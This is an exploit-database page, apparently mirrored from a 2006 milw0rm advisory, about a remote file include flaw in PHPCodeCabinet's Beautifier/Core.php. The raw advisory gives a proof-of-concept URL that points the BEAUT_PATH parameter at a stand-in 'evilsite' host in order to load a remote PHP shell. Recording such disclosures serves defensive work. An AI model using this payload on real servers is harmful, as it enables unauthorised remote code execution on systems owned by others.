header-logo
Suggest Exploit
vendor:
PHPCodeCabinet
by:
milw0rm.com
7,5
CVSS
HIGH
Remote File Include
98
CWE
Product Name: PHPCodeCabinet
Affected Version From: All versions
Affected Version To: All versions
Patch Exists: NO
Related CWE: N/A
CPE: a:phpcodecabinet:phpcodecabinet
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

PHPCodeCabinet Remote File Include Vulnerability

PHPCodeCabinet (all versions) is vulnerable to a remote file include due to an $BEAUT_PATH not being properly scrubbed. A proof of concept is provided in the form of a URL which includes a malicious file, HFile.php, which would be used as a php shell.

Mitigation:

Ensure that all user-supplied input is properly sanitized and validated before being used in the application.
Source

Exploit-DB raw data:

>From Minion:

PHPCodeCabinet (all versions) is vulnerable to a remote file include.

The vulnerable code is in /include/Beautifier/Core.php

an $BEAUT_PATH Was not properly scrubbed, so they got owned.

Proof of concept:

http://target/phpcodecabinet_directory/include/Beautifier/Core.php?BEAUT_PATH=*evilsite*/Beautifier/HFile.php

HFile.php would be your php shell.

Shouts to XoRcrew & Disruptiv.

# milw0rm.com [2006-08-07]

Navigation

Suggest Exploit

Services By CQR